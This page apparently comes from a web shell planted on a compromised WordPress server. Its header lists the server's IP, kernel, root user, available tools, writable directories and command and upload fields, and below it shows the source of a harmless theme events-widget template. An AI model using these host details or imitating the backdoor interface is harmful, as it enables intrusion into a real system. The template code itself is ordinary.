403Webshell
Server IP : 34.67.85.211  /  Your IP : 216.73.217.52
Web Server : Apache
System : Linux wordpress-1-vm 4.9.0-13-amd64 #1 SMP Debian 4.9.228-1 (2020-07-05) x86_64
User : root ( 0)
PHP Version : 7.4.9
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/themes/airi/tribe-events/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/themes/airi/tribe-events/widgets/list-widget.php
<?php
/**
 * Events List Widget Template
 * This is the template for the output of the events list widget.
 * All the items are turned on and off through the widget admin.
 * There is currently no default styling, which is needed.
 *
 * This view contains the filters required to create an effective events list widget view.
 *
 * You can recreate an ENTIRELY new events list widget view by doing a template override,
 * and placing a list-widget.php file in a tribe-events/widgets/ directory
 * within your theme directory, which will override the /views/widgets/list-widget.php.
 *
 * You can use any or all filters included in this file or create your own filters in
 * your functions.php. In order to modify or extend a single filter, please see our
 * readme on templates hooks and filters (TO-DO)
 *
 * @version 4.5.13
 * @return string
 *
 * @package TribeEventsCalendar
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

$airi_events_label_plural = tribe_get_event_label_plural();
$airi_events_label_plural_lowercase = tribe_get_event_label_plural_lowercase();

$airi_posts = tribe_get_list_widget_events();

// Check if any event posts are found.
if ( $airi_posts ) : ?>

	<ol class="tribe-list-widget">
		<?php
		// Setup the post data for each event.
		foreach ( $airi_posts as $airi_post ) :
			setup_postdata( $airi_post );
			?>
			<li class="tribe-events-list-widget-events clearfix <?php tribe_events_event_classes() ?>">

				<div class="events-inner clearfix">
					<?php
					if (
						tribe( 'tec.featured_events' )->is_featured( get_the_ID() )
						&& get_post_thumbnail_id( $airi_post )
					) {
						/**
						 * Fire an action before the list widget featured image
						 */
						// phpcs:ignore WPThemeReview.CoreFunctionality.PrefixAllGlobals.NonPrefixedHooknameFound
						do_action( 'tribe_events_list_widget_before_the_event_image' );

						/**
						 * Allow the default post thumbnail size to be filtered
						 *
						 * @param $size
						 */
						$airi_thumbnail_size = apply_filters( 'tribe_events_list_widget_thumbnail_size', 'post-thumbnail' ); // phpcs:ignore WPThemeReview.CoreFunctionality.PrefixAllGlobals.NonPrefixedHooknameFound

						/**
						 * Filters whether the featured image link should be added to the Events List Widget
						 *
						 * @since 4.5.13
						 *
						 * @param bool $airi_featured_image_link Whether the featured image link should be added or not
						 */
						$airi_featured_image_link = apply_filters( 'tribe_events_list_widget_featured_image_link', true ); // phpcs:ignore WPThemeReview.CoreFunctionality.PrefixAllGlobals.NonPrefixedHooknameFound
						$airi_post_thumbnail      = get_the_post_thumbnail( null, $airi_thumbnail_size );

						if ( $airi_featured_image_link ) {
							$airi_post_thumbnail = '<a href="' . esc_url( tribe_get_event_link() ) . '">' . $airi_post_thumbnail . '</a>';
						}
						?>
						<div class="tribe-event-image">
							<?php
							// not escaped because it contains markup
							echo $airi_post_thumbnail;
							?>
						</div>
						<?php

						/**
						 * Fire an action after the list widget featured image
						 */
						do_action( 'tribe_events_list_widget_after_the_event_image' ); // phpcs:ignore WPThemeReview.CoreFunctionality.PrefixAllGlobals.NonPrefixedHooknameFound
					}
					?>

					<?php do_action( 'tribe_events_list_widget_before_the_event_title' ); // phpcs:ignore WPThemeReview.CoreFunctionality.PrefixAllGlobals.NonPrefixedHooknameFound ?>
					<!-- Event Title -->
					<h4 class="tribe-event-title">
						<a href="<?php echo esc_url( tribe_get_event_link() ); ?>" rel="bookmark"><?php the_title(); ?></a>
					</h4>

					<?php do_action( 'tribe_events_list_widget_after_the_event_title' ); // phpcs:ignore WPThemeReview.CoreFunctionality.PrefixAllGlobals.NonPrefixedHooknameFound ?>
					<!-- Event Time -->

					<?php do_action( 'tribe_events_list_widget_before_the_meta' ); // phpcs:ignore WPThemeReview.CoreFunctionality.PrefixAllGlobals.NonPrefixedHooknameFound ?>

					<div class="airi-event-venue">
						<?php echo tribe_get_venue( $airi_post -> ID ); ?>
					</div>

					<div class="tribe-event-duration">
						<?php echo tribe_events_event_schedule_details(); ?>
					</div>

					<?php do_action( 'tribe_events_list_widget_after_the_meta' ); // phpcs:ignore WPThemeReview.CoreFunctionality.PrefixAllGlobals.NonPrefixedHooknameFound ?>
				
				</div>

				<div class="airi-events-button">
					<a class="button" href="#"><?php echo esc_html__( 'See this event', 'airi' ); ?></a>
				</div>
			</li>
		<?php
		endforeach;
		?>
	</ol><!-- .tribe-list-widget -->

<?php
// No events were found.
else : ?>
	<p><?php printf( esc_html__( 'There are no upcoming %s at this time.', 'airi' ), $airi_events_label_plural_lowercase ); ?></p>
<?php
endif;

Youez - 2016 - github.com/yon3zu
LinuXploit